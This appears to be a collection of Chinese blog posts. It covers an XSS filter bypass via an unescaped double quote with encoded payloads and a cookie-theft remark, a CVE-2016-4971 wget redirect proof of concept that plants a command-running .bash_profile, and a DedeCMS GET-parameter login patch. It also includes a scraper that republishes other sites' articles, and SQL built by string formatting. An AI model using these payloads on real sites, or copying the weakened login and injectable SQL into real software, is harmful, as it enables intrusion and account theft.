javascript数组类型+双引号未转义 Xss注入绕过

所有的特殊符号都转义了,只有双引号未转义,尝试各种方法无果,需要验证POC,研究了一下,皇天不负有心人,搞定了。
在这之前写了一段javascript脚本代码,做编码转换用的:

<script>
//16进制解码
function decode() {
str="\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x61\x6c\x65\x72\x74\x2815\x29";
document.getElementById('code').value = js_coder;
}
//转Unicode编码
function toUnicode() {
str = "javascript:alert(15)"
var temp,
i = 0,
r = '',
len = str.length;
for (; i < len; i++) {
temp = str.charCodeAt(i).toString(16);
while ( temp.length < 4 )
temp = '0' + temp;
r += '\\u' + temp;
};
document.getElementById('code').value = r;
}
//转16进制编码
function to16jinzhi(){
str = "javascript:alert(15)"
len=str.length;
arr=[];
for(var i=0;i<len;i++){
arr.push(str.charCodeAt(i).toString(16));
}
document.getElementById('code').value = "\\x"+arr.join("\\x");
}

</script>
<textarea id=code cols=80 rows=20>
</textarea>
<input type=button onclick=decode() value=解码>
<input type=button onclick=toUnicode() value="编码\u形式-Unicode">
<input type=button onclick=to16jinzhi() value="编码\x形式-16进制">

Payload:
“==[window[“location”]=”\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x61\x6c\x65\x72\x74\x2815\x29″]==”
在URL中添加参数时,需要编码后插入参数中即可;
%22%3D%3D%5Bwindow%5B%22location%22%5D%3D%22%5Cx6a%5Cx61%5Cx76%5Cx61%5Cx73%5Cx63%5Cx72%5Cx69%5Cx70%5Cx74%5Cx3a%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%5Cx2815%5Cx29%22%5D%3D%3D%22

满足条件:
1、可在js数组赋值时,插入动态参数
2、双引号没有被转义,其他字符转义不影响

测试demo

<script>
var demo = {
refreshPath:"http://0535code.com/"==[window["location"]="\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x61\x6c\x65\x72\x74\x2815\x29"]==""
}
</script>

原理:

==, 两边值类型不同的时候,要先进行类型转换,再比较。

“http://0535code.com/”==[window[“location”]=”\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x61\x6c\x65\x72\x74\x2815\x29″]
上面代码会先转化类型,在转换类型时出发js代码

利用的话也是一样了,可以执行alert函数,换个函数可以借助csrf继续利用,或者盗取cookies都可以噢。

Python爬虫结合dedecms自动采集发布

之前想实现一个爬虫,实时采集别人的文章,根据自己的规则去修改采集到的文章,然后自动发布。决定用dedecms做新闻发布,还可以自动生成html,自动把远程图片本地化等一些优点,为了安全,完全可以把前后台分离。
起初想用scrapy爬虫框架去实现,觉得定制开发的话用scrapy只能用到里面的一些基础的功能,有一些情况要跟着框架的规则走,如果自己写的话可以自己写规则去处理,也有优点爬虫、处理器等,最后还是自己写了一个demo。
首先分析需求,python做爬虫,dedecms做发布,起初先考虑了发布功能,实现了模拟登陆,或者研究dedecms的数据库设计,直接写到数据库,实际中没有这样去做,开始做模拟登陆的时候,需要改dedecms的代码去掉验证码,不然还要实现验证码识别,这个完全没有必要,因为要发布的是自己的网站,自己也有账户、密码、发布文章权限,然后就改了下dedecms的登陆功能,加了一个登陆接口,分析了dedecms的发布文章HTTP数据包。这块搞定了后就开始设计爬虫了,最后设计的感觉和scrapy的一些基础的处理机制很像。

做dedecms的登陆接口如下:
后台目录下的config.php 34行找到

/**
//检验用户登录状态
$cuserLogin = new userLogin();
if($cuserLogin->getUserID()==-1)
{
header(“location:login.php?gotopage=”.urlencode($dedeNowurl));
exit();
}
**/

改为下面
//http://127.0.0.2/dede/index.php?username=admin&password=admin

$cuserLogin = new userLogin();
if($cuserLogin->getUserID()==-1) {
if($_REQUEST['username'] != ''){
$res = $cuserLogin->checkUser($_REQUEST['username'], $_REQUEST['password']);
if($res==1) $cuserLogin->keepUser();
}

if($cuserLogin->getUserID()==-1) {
header("location:login.php?gotopage=".urlencode($dedeNowurl));
exit();
}
}

这样只要请求:http://127.0.0.2/dede/index.php?username=admin&password=admin 就可以得到一个sessionid,只要用这个sessionid去发布文章就可以了。

发布文章的HTTP数据包如下:
#http://127.0.0.2/dede/article_add.php
POST /dede/article_add.php HTTP/1.1
Host: 127.0.0.2
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.2/dede/article_add.php?cid=2
Cookie: menuitems=1_1%2C2_1%2C3_1; CNZZDATA1254901833=1497342033-1472891946-%7C1473171059; Hm_lvt_a6454d60bf94f1e40b22b89e9f2986ba=1472892122; ENV_GOBACK_URL=%2Fmd5%2Fcontent_list.php%3Farcrank%3D-1%26cid%3D11; lastCid=11; lastCid__ckMd5=2f82387a2b251324; DedeUserID=1; DedeUserID__ckMd5=74be9ff370c4536f; DedeLoginTime=1473174404; DedeLoginTime__ckMd5=b8edc1b5318a3923; hasshown=1; Hm_lpvt_a6454d60bf94f1e40b22b89e9f2986ba=1473173893; PHPSESSID=m2o3k882tln0ttdi964v5aorn6
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=—————————2802133914041
Content-Length: 3639
—————————–2802133914041
Content-Disposition: form-data; name=”channelid”

1
—————————–2802133914041
Content-Disposition: form-data; name=”dopost”

save
—————————–2802133914041
Content-Disposition: form-data; name=”title”

2222222222
—————————–2802133914041
Content-Disposition: form-data; name=”shorttitle”

—————————–2802133914041
Content-Disposition: form-data; name=”redirecturl”

—————————–2802133914041
Content-Disposition: form-data; name=”tags”

—————————–2802133914041
Content-Disposition: form-data; name=”weight”

100
—————————–2802133914041
Content-Disposition: form-data; name=”picname”

—————————–2802133914041
Content-Disposition: form-data; name=”litpic”; filename=””
Content-Type: application/octet-stream

—————————–2802133914041
Content-Disposition: form-data; name=”source”

—————————–2802133914041
Content-Disposition: form-data; name=”writer”

—————————–2802133914041
Content-Disposition: form-data; name=”typeid”

2
—————————–2802133914041
Content-Disposition: form-data; name=”typeid2″

—————————–2802133914041
Content-Disposition: form-data; name=”keywords”

—————————–2802133914041
Content-Disposition: form-data; name=”autokey”

1
—————————–2802133914041
Content-Disposition: form-data; name=”description”

—————————–2802133914041
Content-Disposition: form-data; name=”dede_addonfields”

—————————–2802133914041
Content-Disposition: form-data; name=”remote”

1
—————————–2802133914041
Content-Disposition: form-data; name=”autolitpic”

1
—————————–2802133914041
Content-Disposition: form-data; name=”needwatermark”

1
—————————–2802133914041
Content-Disposition: form-data; name=”sptype”

hand
—————————–2802133914041
Content-Disposition: form-data; name=”spsize”

5
—————————–2802133914041
Content-Disposition: form-data; name=”body”

2222222222
—————————–2802133914041
Content-Disposition: form-data; name=”voteid”

—————————–2802133914041
Content-Disposition: form-data; name=”notpost”

0
—————————–2802133914041
Content-Disposition: form-data; name=”click”

70
—————————–2802133914041
Content-Disposition: form-data; name=”sortup”

0
—————————–2802133914041
Content-Disposition: form-data; name=”color”

—————————–2802133914041
Content-Disposition: form-data; name=”arcrank”

0
—————————–2802133914041
Content-Disposition: form-data; name=”money”

0
—————————–2802133914041
Content-Disposition: form-data; name=”pubdate”

2016-09-06 23:07:52
—————————–2802133914041
Content-Disposition: form-data; name=”ishtml”

1
—————————–2802133914041
Content-Disposition: form-data; name=”filename”

—————————–2802133914041
Content-Disposition: form-data; name=”templet”

—————————–2802133914041
Content-Disposition: form-data; name=”imageField.x”

41
—————————–2802133914041
Content-Disposition: form-data; name=”imageField.y”

6
—————————–2802133914041–
#更新生成html请求
http://127.0.0.2/dede/task_do.php?typeid=2&aid=109&dopost=makeprenext&nextdo=

GET /dede/task_do.php?typeid=2&aid=109&dopost=makeprenext&nextdo= HTTP/1.1
Host: 127.0.0.2
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.2/dede/article_add.php
Cookie: menuitems=1_1%2C2_1%2C3_1; CNZZDATA1254901833=1497342033-1472891946-%7C1473171059; Hm_lvt_a6454d60bf94f1e40b22b89e9f2986ba=1472892122; ENV_GOBACK_URL=%2Fmd5%2Fcontent_list.php%3Farcrank%3D-1%26cid%3D11; lastCid=11; lastCid__ckMd5=2f82387a2b251324; DedeUserID=1; DedeUserID__ckMd5=74be9ff370c4536f; DedeLoginTime=1473174404; DedeLoginTime__ckMd5=b8edc1b5318a3923; hasshown=1; Hm_lpvt_a6454d60bf94f1e40b22b89e9f2986ba=1473173893; PHPSESSID=m2o3k882tln0ttdi964v5aorn6
Connection: keep-alive
Upgrade-Insecure-Requests: 1

通过上面数据包可以分析到如下结果:
POST http://127.0.0.2/dede/article_add.php
需要配置的参数:

channelid:1 #普通文章提交
dopost:save #提交方式

shorttitle:” #短标题
autokey:1 #自动获取关键词
remote:1 #不指定缩略图,远程自动获取缩略图
autolitpic:1 #提取第一个图片为缩略图
sptype:auto #自动分页
spsize:5 #5k大小自动分页
notpost:1 #禁止评论
sortup:0 #文章排序、默认
arcrank:0 #阅读权限为开放浏览
money: #消费金币0
ishtml:1 #生成html

title:”文章标题” #文章标题
source:”文章来源” #文章来源
writer:”文章作者” #文章作者
typeid:”主栏目ID2″ #主栏目ID
body:”文章内容” #文章内容
click:”文章点击量” #文章点击量
pubdate:”提交时间” #提交时间

然后开始模拟dedecms发布文章测试了,python代码如下:

#!/usr/bin/python
#coding:utf8
import requests,random,time

#访问登陆接口保持cookies
sid = requests.session()
login_url = "http://127.0.0.2/dede/index.php?username=admin&password=admin"
header = {    "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0",
"Referer"    :"http://127.0.0.2"
}

#登陆接口获取Cookies
loadcookies = sid.get(url = login_url,headers = header)

#进入增加文章页面
#get_html = sid.get('http://127.0.0.2/dede/article_add.php?channelid=1',headers = header)
#print get_html.content

#定义固定字段
article = {
'channelid':1, #普通文章提交
'dopost':'save', #提交方式
'shorttitle':'', #短标题
'autokey':1, #自动获取关键词
'remote':1, #不指定缩略图,远程自动获取缩略图
'autolitpic':1, #提取第一个图片为缩略图
'sptype':'auto', #自动分页
'spsize':5, #5k大小自动分页
'notpost':1, #禁止评论
'sortup':0, #文章排序、默认
'arcrank':0, #阅读权限为开放浏览
'money': 0,#消费金币0
'ishtml':1, #生成html
'click':random.randint(10, 300), #随机生成文章点击量
'pubdate':time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()), #s生成当前提交时间
}

#定义可变字段
article['source'] = "文章来源" #文章来源
article['writer'] = "文章作者" #文章作者
article['typeid'] = "2" #主栏目ID

#定义提交文章请求URL
article_request = "http://127.0.0.2/dede/article_add.php"

"""
#测试提交数据
article['title'] = "测试_文章标题" #文章标题
article['body'] = "测试_文章内容" #文章内容
#提交后会自动重定向 生成html,http返回状态为200则成功!
res = sid.post(url = article_request,data = article, headers = header)
print res
"""
for i in range(50):
    article['title'] = str(i) + "_文章标题" #文章标题
    article['body'] = str(i) + "_文章内容" #文章内容
    #print article
    res = sid.post(url = article_request,data = article, headers = header)
    print res

其次就是分析爬虫需求阶段了,如下:

收集采集页面:

http://www.tunvan.com/col.jsp?id=115
http://www.zhongkerd.com/news.html
http://www.qianxx.com/news/field/
http://www.ifenguo.com/news/xingyexinwen/
http://www.ifenguo.com/news/gongsixinwen/

每一个采集页面和要改的规则都不一样,发布文章的栏目可能也有变化,要写多个爬虫,一个爬虫实现不了这个功能,要有爬虫、处理器、配置文件、函数文件(避免重复写代码)、数据库文件。

数据库里面主要是保存文章url和标题,主要是判断这篇文章是否是更新的,如果已经采集发布了就不要重复发布了,如果不存在文章就是最新的文章,需要写入数据库并发布文章。数据库就一个表几个字段就好,采用的sqlite3,数据库文件db.dll建表如下:

CREATE TABLE history (
id    INTEGER         PRIMARY KEY ASC AUTOINCREMENT,
url   VARCHAR( 100 ),
title TEXT,
date  DATETIME        DEFAULT ( ( datetime( 'now', 'localtime' )  )  )
);

架构设计如下:

│ db.dll #sqlite数据库
│ dede.py #测试dede登陆接口
│ function.py #公共函数
│ run.py #爬虫集开始函数
│ settings.py #爬虫配置设置
│ spiders.py #爬虫示例
│ sqlitestudio-2.1.5.exe #sqlite数据库编辑工具
│ __init__.py #前置方法供模块用

dede.py如下:

#!/usr/bin/python
#coding:utf8
import requests,random,time
import lxml

#定义域名
domain = "http://127.0.0.2/"
admin_dir = "dede/"
houtai = domain + admin_dir
username = "admin"
password = "admin"

#访问登陆接口保持cookies
sid = requests.session()
login_url = houtai + "index.php?username=" + username + "&password=" + password
header = {    "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0",
"Referer"    : domain
}

#登陆接口获取Cookies
loadcookies = sid.get(url = login_url,headers = header)

#定义固定字段
article = {
'channelid':1, #普通文章提交
'dopost':'save', #提交方式
'shorttitle':'', #短标题
'autokey':1, #自动获取关键词
'remote':1, #不指定缩略图,远程自动获取缩略图
'autolitpic':1, #提取第一个图片为缩略图
'sptype':'auto', #自动分页
'spsize':5, #5k大小自动分页
'notpost':1, #禁止评论
'sortup':0, #文章排序、默认
'arcrank':0, #阅读权限为开放浏览
'money': 0,#消费金币0
'ishtml':1, #生成html
'click':random.randint(10, 300), #随机生成文章点击量
'pubdate':time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()), #s生成当前提交时间
}

#定义可变字段
article['source'] = "文章来源" #文章来源
article['writer'] = "文章作者" #文章作者
article['typeid'] = "2" #主栏目ID

#定义提交文章请求URL
article_request = houtai + "article_add.php"

"""
#测试提交数据
article['title'] = "11测试_文章标题" #文章标题
article['body'] = "11测试_文章内容" #文章内容
#提交后会自动重定向 生成html,http返回状态为200则成功!
res = sid.post(url = article_request,data = article, headers = header)
print res
"""

"""
for i in range(50):
    article['title'] = str(i) + "_文章标题" #文章标题
    article['body'] = str(i) + "_文章内容" #文章内容
    #print article
    res = sid.post(url = article_request,data = article, headers = header)
    print res
"""

function.py如下:

# coding:utf-8
from settings import *

#检查数据库中是否存在文章,0为不存在,1为存在
def res_check(article):
    exec_select = "SELECT count(*) FROM history WHERE url = '%s' AND title = '%s' "
    res_check = cur.execute(exec_select % (article[0],article[1]))
    for res in res_check:
        result = res[0]
    return result

#写入数据库操作
def res_insert(article):
    exec_insert = "INSERT INTO history (url,title) VALUES ('%s','%s')"
    cur.execute(exec_insert % (article[0],article[1]))
    conn.commit()

#模拟登陆发布文章
def send_article(title,body,typeid = "2"):
    article['title'] = title #文章标题
    article['body'] = body #文章内容
    article['typeid'] = "2"
    #print article
    #提交后会自动重定向 生成html,http返回状态为200则成功!
    res = sid.post(url = article_request,data = article, headers = header)
    #print res
    if res.status_code == 200 :
        #print u"send mail!"
        send_mail(title = title,body = body)
        print u"success article send!"
    else:
        #发布文章失败处理
        pass

#发邮件通知send_mail(收件,标题,内容)
def send_mail(title,body):
    shoujian = "admin@0535code.com"
    # 设置服务器,用户名、密码以及邮箱的后缀
    mail_user = "610358898"
    mail_pass="你的邮箱密码"
    mail_postfix="qq.com"
    me=mail_user+"<"+mail_user+"@"+mail_postfix+">"
    msg = MIMEText(body, 'html', 'utf-8')
    msg['Subject'] = title
    #msg['to'] = shoujian
    try:
        mail = smtplib.SMTP()
        mail.connect("smtp.qq.com")#配置SMTP服务器
        mail.login(mail_user,mail_pass)
        mail.sendmail(me,shoujian, msg.as_string())
        mail.close()
        print u"send mail success!"
    except Exception, e:
        print str(e)
        print u"send mail exit!"

run.py如下:

# -*- coding: utf-8 -*-
import spiders
    #开始第一个爬虫
    spiders.start()

settings.py如下:

# coding:utf-8
import re,sys,os,requests,lxml,string,time,random,logging
from bs4 import BeautifulSoup
from lxml import etree
import smtplib
from email.mime.text import MIMEText
import sqlite3
import HTMLParser

#刷新系统
reload(sys)
sys.setdefaultencoding( "utf-8" )
#定义当前时间
#now = time.strftime( '%Y-%m-%d %X',time.localtime())

#设置头信息
headers={       "User-Agent":"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36",
"Accept":"*/*",
"Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding":"gzip, deflate",
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
"Connection":"keep-alive",
"X-Requested-With":"XMLHttpRequest",
}
domain = u"<a href='http://010bjsoft.com'>北京软件外包</a>".decode("string_escape") #要替换的超链接
html_parser = HTMLParser.HTMLParser() #生成转义器

########################################################dede参数配置

#定义域名
domain = "http://127.0.0.2/"
admin_dir = "dede/"
houtai = domain + admin_dir
username = "admin"
password = "admin"

#访问登陆接口保持cookies
sid = requests.session()
login_url = houtai + "index.php?username=" + username + "&password=" + password
header = {    "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0",
"Referer"    : domain
}

#登陆接口获取Cookies
loadcookies = sid.get(url = login_url,headers = header)

#定义固定字段
article = {
'channelid':1, #普通文章提交
'dopost':'save', #提交方式
'shorttitle':'', #短标题
'autokey':1, #自动获取关键词
'remote':1, #不指定缩略图,远程自动获取缩略图
'autolitpic':1, #提取第一个图片为缩略图
'sptype':'auto', #自动分页
'spsize':5, #5k大小自动分页
'notpost':1, #禁止评论
'sortup':0, #文章排序、默认
'arcrank':0, #阅读权限为开放浏览
'money': 0,#消费金币0
'ishtml':1, #生成html
'click':random.randint(10, 300), #随机生成文章点击量
'pubdate':time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()), #s生成当前提交时间
}

#定义可变字段
article['source'] = "文章来源" #文章来源
article['writer'] = "文章作者" #文章作者

#定义提交文章请求URL
article_request = houtai + "article_add.php"

########################################################数据库配置

#建立数据库连接
conn = sqlite3.connect("db.dll")
#创建游标
cur = conn.cursor()

spiders.py如下:

# coding:utf-8
from settings import *
from function import *

#获取内容, 文章url,文章内容xpath表达式
def get_content( url = "http://www.zhongkerd.com/news/content-1389.html" , xpath_rule = "//html/body/div[3]/div/div[2]/div/div[2]/div/div[1]/div/div/dl/dd" ):
    html = requests.get(url,headers = headers).content
    tree = etree.HTML(html)
    res = tree .xpath(xpath_rule)[0]
    res_content = etree.tostring(res) #转为字符串
    res_content = html_parser.unescape(res_content) #转为html编码 输出
    res_content = res_content.replace('\t','').replace('\n','') #去除空格 .replace(' ',''),换行符,制表符
    return res_content
#获取结果,url列表
def get_article_list(url = "http://www.zhongkerd.com/news.html" ):
    body_html = requests.get(url,headers = headers).content
    #print body_html
    soup = BeautifulSoup(body_html,'lxml')
    page_div = soup.find_all(name = "a",href = re.compile("content"),class_="w-bloglist-entry-link")
    #print page_div
    list_url = []
    for a in page_div:
        #print a
        #print a.get('href')
        #print a.string
        list_url.append((a.get('href'),a.string))
        #print get_content(a.get('href'))
    else:
        #print list_url
        return list_url
#处理采集页面
def res_content(url):
    content = get_content(url)
    #print content
    info = re.findall(r'<dd>(.*?)</dd>',content,re.S)[0] #去掉dd标签

    re_zhushi = re.compile(r'<!--[^>]*-->') #HTML注释
    re_href = re.compile(r'<\s*a[^>]*>[^<](.*?)*<\s*/\s*a\s*>') #去出超链接,替换
    re_js = re.compile(r'<\s*script[^>]*>[^<](.*?)*<\s*/\s*script\s*>') #去出 javascript
    re_copyright = re.compile(r'<p\s*align="left">(.*?)</p>') #去出 版权信息 #r'<p\s*align="left">' 注意处理换行要

    info = re_zhushi.sub('',info,re.S)
    info = re_href.sub(domain,info,re.S)
    #print content
    #exit()
    info = re_copyright.sub(u"",info,re.S)
    info = info.replace(u'\xa0', u' ') #防止gbk转btf输出错误
    #print info
    return info

#处理结果
def caiji_result():
    article_list = get_article_list()
    #print article_list
    #判断是否数据库中是否有,是否写入数据库
    for article in article_list:
        #print res_check(article)
        #判断是否需要写入
        if not res_check(article):
            #print "no" #u"不存在需要写入"
            res_insert(article)
            #写入后需要发布文章
            body = res_content(article[0])
            send_article(title = article[1],body = body)
        else:
            #print "yes" #u"已经存在不需要写入"
            pass
#爬虫调用函数
def start():
    caiji_result()

__init__.py用于发布模块时用。

写完了、是不是发现和scrapy基础功能有点像呢。。。

利用Python合并IIS大日志

想用星图分析日志,可是日志是每天一份,一共10几份如果一份一份分析太慢,而且结果也不理想,想要多天的日志一起分析,星图没有提供这个功能,自由自己想办法合并下日志了。
然后用python写了个合并脚本的日志,记录下:

#!/usr/bin/python  
#coding:utf8
import os,sys

fo = open('all.txt', 'w')
for name in ['1.txt','2.txt',]:
    fi = open(name)
    while True:
        s = fi.read(16*1024)
        if not s:
            break
        fo.write(s)
    fi.close()
fo.close()

这样的话会存在一个问题。1.txt的结尾和2.txt的开头合并没有换行,可以在循环外添加一个日志格式的标识,不破坏日志的结构,看了下IIS的日志头是:

#Software: Microsoft Internet Information Services 7.5
#Version: 1.0
#Date: 2016-09-04 00:00:00
#Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent)

这样的话#会注释掉,可以不用追加日志标识。合并的过程中,如果有一个日志文件的日志结构不对应,则会中断,需要所有日志结构都是一样的,跑了一下有错误。一份日志也比较大,没有去找文件中存在问题的哪一行,直接用二分法把日志合并为两份就ok了,如果还是不行的话就分为4份,先找到有问题的日志文件,再进一步定位存在问题的行去孑孓问题。

Python使用sqlite和Mysql数据库笔记

Python使用sqlite如下:
创建sqlite语句:

CREATE TABLE history (
id??? INTEGER???????? PRIMARY KEY ASC AUTOINCREMENT,
url?? VARCHAR( 100 ),
title TEXT,
date? DATETIME??????? DEFAULT ( ( datetime( ‘now’, ‘localtime’ )? )? )
);

import sqlite3
#建立数据库连接
conn = sqlite3.connect(“db.dll”)
#创建游标
cur = conn.cursor()

#增加
exec_insert = “INSERT INTO history (url,title) VALUES (‘%s’,’%s’)”
cur.execute(exec_insert % (“url2″,”title2”))
conn.commit()

#修改
test_url = “http://127.0.0.2/”
test_title = “dedecms by python spiders!”
exec_update = “UPDATE history SET url=’%s’, title=’%s’ WHERE url=’%s’ AND title=’%s’ ”
cur.execute(exec_update % (test_url,test_title,”url2″,”title2″))
conn.commit()
#MD,开始因为创建了索引、测试半天没能修改、、、

#删除
cur.execute(“DELETE FROM history WHERE id = 1”)
conn.commit()

#查询
exec_select = cur.execute(“select * from history”)
print cur.fetchall()

 

Python使用mysql如下:

import MySQLdb
#建立数据库连接
conn = MySQLdb.connect(
host = ‘localhost’,
user = ‘root’,
passwd = ‘root’,
db = ‘android’,
port = 3306,
charset =’utf8′,
)
cur = conn.cursor()

#增删改查直接用 %s 替换sql语句就行
“”” –MySQLdb
CREATE DATABASE p2p DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;
CREATE TABLE `android`.`p2p_caiji` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`url` text,
`keywords` text,
`date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
“””
sqli_select = “SELECT * FROM p2p_caiji WHERE url = %s” #查询是否有存在的记录 sql模版
sqli_insert = “INSERT INTO p2p_caiji (id,url,keywords,date) VALUES(NULL,%s,%s,CURRENT_TIMESTAMP)” #添加记录 sql模版

#查询
exec_select = cur.execute(sqli_select,url)

#添加
cur.execute(sqli_insert,(res[‘url’],res[‘key’]))
conn.commit() #提交事物

修改和删除一样,使用sql模版 %s 替换即可。

CVE-2016-4971 wget重定向漏洞分析

漏洞利用条件:

  1. 在用户目录下执行wget指令;
  2. 用户目录下没有.bash_profile;
  3. 用户退出系统再次进入;

//root用户.bash_profile在 home目录下,其他用户的.bash_profile在home下的用户目录

1.~/.bash_profile: 每个用户都可使用该文件输入专用于自己使用的shell信息,当用户登录时,该文件仅仅执行一次。默认情况下,设置一些环境变量,执行用户的.bashrc文件;
2.~/.bashrc: 该文件包含专用于你的bash shell的bash信息,当登录时以及每次打开新的shell时,该该文件被读取;
3.~/.bash_logout: 当每次退出系统(退出bash shell)时,执行该文件. 另外,/etc/profile中设定的变量(全局)的可以作用于任何用户,而~/.bashrc等中设定的变量(局部)只能继承;

分析过程:

.bash_profile 文件内容 : echo mkdir hacker > .bash_profile
301.php 文件内容:

<?
//header("location: ftp://192.168.119.1/.bash_profile");
header("location: ftp://10.1.5.14/.bash_profile");
//header("location: http://192.168.119.1/phproot/.bash_profile");
exit;
?>

http://192.168.119.1/phproot/301.php 重定向到 ftp://192.168.119.1/.bash_profile
Wget http://192.168.119.1/phproot/301.php
reboot 重启

漏洞成因:
漏洞主要是因为wget下载URL在重定向后未做验证;
导致下载了?用户配置文件.bash_profile,这个文件可以任意执行系统命令
危害:任意命令执行,反弹shell,植入rootkit病毒等

漏洞检查和修复:
wget –version? 检查 wget 版本,小于1.18都存在问题。
#wget重定向到http和ftp协议的区别:

重定向到http 是下载自身文件名 + 重定向内容
重定向到ftp 是下载重定向文件名 + 重定向内容